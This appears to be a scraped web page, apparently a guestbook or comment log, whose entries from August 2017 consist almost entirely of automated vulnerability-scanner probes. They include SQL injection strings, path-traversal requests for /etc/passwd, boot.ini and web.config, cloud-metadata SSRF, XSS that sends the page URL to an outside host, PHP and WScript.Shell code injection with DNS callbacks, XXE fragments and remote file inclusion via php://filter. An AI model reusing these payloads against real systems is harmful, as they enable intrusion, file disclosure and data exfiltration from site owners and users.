
\r\n (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no\" & \"o20.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n http://aws.r87.me/latest/meta-data/public-hostname\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n file:///etc/passwd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n -1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\u0000.aspx\r\n

\r\n
\r\n

WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n 127.0.0.1/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n ::1/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n '+netsparker(0x003E56)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E54);\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache2/error.log\r\n

\r\n
\r\n

1 WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E52)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error_log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n 127.100.11.2/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

' WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n 54.204.37.212/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n testsparker.com/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n %27\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n http://testsparker.com/elmah\r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz\"+\"itg.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v\"+\"nwu.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n 127.0.0.1/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ',netsparker(0x003E50),'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/iis6.log\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n ::1/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 127.100.11.2/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \\';netsparker(0x003E4E);///\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n c:\\windows\\win.ini\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t\"+\"lty.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \"+netsparker(0x003E4C)+\"\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\u0000.aspx\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh\"+\"dhq.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n file:/windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n '+netsparker(0x003E4A)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 54.204.37.212/elmah.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n testsparker.com/elmah.axd\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n /../../../../../../../../../../web.config\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n */netsparker(0x003E48);/*\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n http://testsparker.com/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n c%3a%5cboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n file%3a%2fboot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n body{x:expression(netsparker(0x003E46))}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n n;ns:expression(netsparker(0x003E44));\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 127.0.0.1/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n <%a style=x:expre/**/ssion(netsparker(0x003E42))>\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n ::1/trace.axd\r\n

\r\n
\r\n

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n javascript:netsparker(0x003E3E)\r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n c:\\boot.ini\r\n

\r\n
\r\n

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n file:/boot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 127.100.11.2/trace.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 54.204.37.212/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n testsparker.com/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n http://testsparker.com/trace.axd\r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \">\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n https://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n '>\r\n

\r\n
\r\n

